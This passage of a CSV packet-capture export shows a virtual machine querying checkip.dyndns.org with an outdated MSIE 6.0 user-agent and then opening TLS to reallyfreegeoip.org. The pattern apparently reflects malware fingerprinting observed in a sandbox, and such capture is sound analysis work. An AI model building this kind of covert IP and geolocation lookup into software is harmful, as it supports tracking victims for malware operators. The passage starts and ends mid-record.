\"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11359, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50115, \"\"dport\"\": 443, \"\"seq\"\": 4248002349, \"\"ack\"\": 2233452684, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:58.830692,108,TCP 188.114.96.0:443 -> 192.168.122.168:50115,188.114.96.0,192.168.122.168,443,50115,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=2233452684 Ack=4248002350,5254007bb792525400577f9408004500002873bc400040066f50bc726000c0a87aa801bbc3c3851fc88cfd335f2e5011005357de0000,RT.{..RT.W....E..(s.@.@.oP.r`...z..........3_.P..SW...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 29628, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28496, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50115, \"\"seq\"\": 2233452684, \"\"ack\"\": 4248002350, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:58.830814,109,TCP 192.168.122.168:50115 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50115,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=4248002350 Ack=2233452685,525400577f945254007bb79208004500002876ae400080062c5ec0a87aa8bc726000c3c301bbfd335f2e851fc88d5010201457de0000,\"RT.W..RT.{....E..(v.@...,^..z..r`......3_.....P. .W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30382, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11358, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50115, \"\"dport\"\": 443, \"\"seq\"\": 4248002350, \"\"ack\"\": 2233452685, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:58.837553,110,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,PA,,http://checkip.dyndns.org/,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /,525400577f945254007bb7920800450000a7d29e400080067035c0a87aa884e2f749c3b40050e1745377c9cc531850180400b8160000474554202f20485454502f312e310d0a557365722d4167656e743a204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520362e303b2057696e646f7773204e5420352e323b202e4e455420434c52312e302e333730353b290d0a486f73743a20636865636b69702e64796e646e732e6f72670d0a0d0a,\"RT.W..RT.{....E.....@...p5..z....I...P.tSw..S.P.......GET / HTTP/1.1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)\nHost: checkip.dyndns.org\n\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 167, \"\"id\"\": 53918, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28725, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782497143, \"\"ack\"\": 3385611032, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 47126, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": null, \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": null, \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": null, \"\"Content_Length\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"checkip.dyndns.org\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": null}}]\"\n2026-04-28 18:22:58.837584,111,TCP 132.226.247.73:80 -> 192.168.122.168:50100,132.226.247.73,192.168.122.168,80,50100,TCP,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3385611032 Ack=3782497270,5254007bb792525400577f9408004500002838dc400040064a7784e2f749c0a87aa80050c3b4c9cc5318e17453f650100053b7970000,RT.{..RT.W....E..(8.@.@.Jw...I..z..P....S..tS.P..S....,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 14556, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19063, \"\"src\"\": \"\"132.226.247.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50100, \"\"seq\"\": 3385611032, \"\"ack\"\": 3782497270, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:59.500500,112,TCP 132.226.247.73:80 -> 192.168.122.168:50100,132.226.247.73,192.168.122.168,80,50100,TCP,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,5254007bb792525400577f9408004500015938dd40004006494584e2f749c0a87aa80050c3b4c9cc5318e17453f650180053b8c80000485454502f312e3120323030204f4b0d0a446174653a205475652c2032382041707220323032362031383a32323a353920474d540d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a203130340d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206e6f2d63616368650d0a507261676d613a206e6f2d63616368650d0a4163636573732d436f6e74726f6c2d416c6c6f772d4f726967696e3a202a0d0a0d0a3c68746d6c3e3c686561643e3c7469746c653e43757272656e7420495020436865636b3c2f7469746c653e3c2f686561643e3c626f64793e43757272656e7420495020416464726573733a203130392e37302e3130302e363c2f626f64793e3c2f68746d6c3e0d0a,\"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 345, \"\"id\"\": 14557, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 18757, \"\"src\"\": \"\"132.226.247.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50100, \"\"seq\"\": 3385611032, \"\"ack\"\": 3782497270, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 47304, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": null, \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": \"\"*\"\", \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": null, \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": \"\"no-cache\"\", \"\"Connection\"\": \"\"keep-alive\"\", \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"104\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": null, \"\"Content_Type\"\": \"\"text/html\"\", \"\"Date\"\": \"\"Tue, 28 Apr 2026 18:22:59 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": null, \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": \"\"no-cache\"\", \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": null, \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": null, \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": null, \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": null, \"\"Unknown_Headers\"\": null}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\\r\\n\"\"}}]\"\n2026-04-28 18:22:59.502199,113,TCP 192.168.122.168:50117 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50117,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,S,,,Ether > IP > TCP,3,TCP S Seq=1066848450 Ack=0,525400577f945254007bb79208004500003476af400080062c51c0a87aa8bc726000c3c501bb3f96d0c2000000008002faf057ea0000020405b40103030801010402,\"RT.W..RT.{....E..4v.@...,Q..z..r`.....?...........W...............\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 30383, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11345, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50117, \"\"dport\"\": 443, \"\"seq\"\": 1066848450, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 22506, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-28 18:22:59.502254,114,TCP 188.114.96.0:443 -> 192.168.122.168:50117,188.114.96.0,192.168.122.168,443,50117,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=2484098479 Ack=1066848451,5254007bb792525400577f94080045000034000040004006e300bc726000c0a87aa801bbc3c5941055af3f96d0c38012a56457ea0000020405b40101040201030309,RT.{..RT.W....E..4..@.@....r`...z.......U.?......dW..............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58112, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50117, \"\"seq\"\": 2484098479, \"\"ack\"\": 1066848451, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 22506, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-28 18:22:59.502339,115,TCP 192.168.122.168:50117 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50117,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=1066848451 Ack=2484098480,525400577f945254007bb79208004500002876b0400080062c5cc0a87aa8bc726000c3c501bb3f96d0c3941055b05010201457de0000,\"RT.W..RT.{....E..(v.@...,\\..z..r`.....?.....U.P. .W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30384, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11356, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50117, \"\"dport\"\": 443, \"\"seq\"\": 1066848451, \"\"ack\"\": 2484098480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:59.502822,116,TCP 192.168.122.168:50117 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50117,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=1066848451 Ack=2484098480,525400577f945254007bb79208004500016376b1400080062b20c0a87aa8bc726000c3c501bb3f96d0c3941055b05018201459190000160301013601000132030169d7760945bcf714ef5f21a797095cb7e3852cb3dc8b599fa0c3ff3bd26e790d00000ec00ac009c014c0130035002f000a010000fb0000001800160000137265616c6c796672656567656f69702e6f7267000a00080006001d00170018000b00020100002300c0168334713c1d2370c2d8321cd32fed7f29083530180fb4e70816062a0f1580975b098bfd0d4aa44918648244e9032c72d81e6a5432615b24fd4ed6de2e55a8a938adea3238a35c1bcba5385e8c1591d9ef3e39ae5b07f90e6c59465bc94956f4cfcfeaa25d9c9001dac96b74cd8bae425eeda4baefab7b5722f3254595d3e8a122e99292e531c2908eed19ac46599d0473fa85bfcdad1456250e7c27b68c3f4e80bedb61c3f3041febf95d7412253518124d6656a06b0f016f7799af38dd3d5b00170000ff01000100,\"RT.W..RT.{....E..cv.@...+ ..z..r`.....?.....U.P. .Y.......6...2..i.v\tE...._!..\t\\...,...Y....;.ny\n....\n.\t.....5./.\n.............reallyfreegeoip.org.\n.................#....4q<.#p..2../..).50.......*....[\t..\nJ.I.d.D..,r..jT2a[$.N...U..8..28.\\...8^.....>9.[...lYF[.IV.....].....kt...B^.....{W\"\".%E....\"\"....1......FY..s......V%.|'..?N...a......]t.%5..MfV.k..ow..8.=[.........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 355, \"\"id\"\": 30385, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11040, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50117, \"\"dport\"\": 443, \"\"seq\"\": 1066848451, \"\"ack\"\": 2484098480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22809, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 310, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=306 version=TLS 1.0 gmt_unix_time=Thu, 09 Apr 2026 09:48:57  (1775728137) random_bytes=45bcf714ef5f21a797095cb7e3852cb3dc8b599fa0c3ff3bd26e790d sidlen=0 sid=b'' cipherslen=14 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=251 ext=[<TLS_Ext_ServerName  type=server_name len=24 servernameslen=22 servernames=[b'reallyfreegeoip.org'] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SessionTicket  type=session_ticket len=192 ticket=b'\\\\x16\\\\x834q<\\\\x1d#p\\\\xc2\\\\xd82\\\\x1c\\\\xd3/\\\\xed\\\\x7f)\\\\x0850\\\\x18\\\\x0f\\\\xb4\\\\xe7\\\\x08\\\\x16\\\\x06*\\\\x0f\\\\x15\\\\x80\\\\x97[\\\\t\\\\x8b\\\\xfd\\\\rJ\\\\xa4I\\\\x18d\\\\x82D\\\\xe9\\\\x03,r\\\\xd8\\\\x1ejT2a[$\\\\xfdN\\\\xd6\\\\xde.U\\\\xa8\\\\xa98\\\\xad\\\\xea28\\\\xa3\\\\\\\\\\\\x1b\\\\xcb\\\\xa58^\\\\x8c\\\\x15\\\\x91\\\\xd9\\\\xef>9\\\\xae[\\\\x07\\\\xf9\\\\x0elYF[\\\\xc9IV\\\\xf4\\\\xcf\\\\xcf\\\\xea\\\\xa2]\\\\x9c\\\\x90\\\\x01\\\\xda\\\\xc9kt\\\\xcd\\\\x8b\\\\xaeB^\\\\xed\\\\xa4\\\\xba\\\\xef\\\\xab{W\\\"\"\\\\xf3%E\\\\x95\\\\xd3\\\\xe8\\\\xa1\\\"\"\\\\xe9\\\\x92\\\\x92\\\\xe51\\\\xc2\\\\x90\\\\x8e\\\\xed\\\\x19\\\\xacFY\\\\x9d\\\\x04s\\\\xfa\\\\x85\\\\xbf\\\\xcd\\\\xad\\\\x14V%\\\\x0e|\\\\'\\\\xb6\\\\x8c?N\\\\x80\\\\xbe\\\\xdba\\\\xc3\\\\xf3\\\\x04\\\\x1f\\\\xeb\\\\xf9]t\\\\x12%5\\\\x18\\\\x12MfV\\\\xa0k\\\\x0f\\\\x01ow\\\\x99\\\\xaf8\\\\xdd=[' |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:22:59.502841,117,TCP 188.114.96.0:443 -> 192.168.122.168:50117,188.114.96.0,192.168.122.168,443,50117,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2484098480 Ack=1066848766,5254007bb792525400577f94080045000028a4bb400040063e51bc726000c0a87aa801bbc3c5941055b03f96d1fe5010005357de0000,RT.{..RT.W....E..(..@.@.>Q.r`...z.......U.?...P..SW...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42171, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 15953, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50117, \"\"seq\"\": 2484098480, \"\"ack\"\": 1066848766, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:59.569445,118,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,A,,,Ether > IP > TCP,3,TCP A Seq=3782497270 Ack=3385611337,525400577f945254007bb792080045000028d29f4000800670b3c0a87aa884e2f749c3b40050e17453f6c9cc5449501003feb7970000,RT.W..RT.{....E..(..@...p...z....I...P.tS...TIP.......,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 53919, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28851, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782497270, \"\"ack\"\": 3385611337, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1022, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:00.146158,119,TCP 188.114.96.0:443 -> 192.168.122.168:50117,188.114.96.0,192.168.122.168,443,50117,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=2484098480 Ack=1066848766,Error,\"Error extracting content: 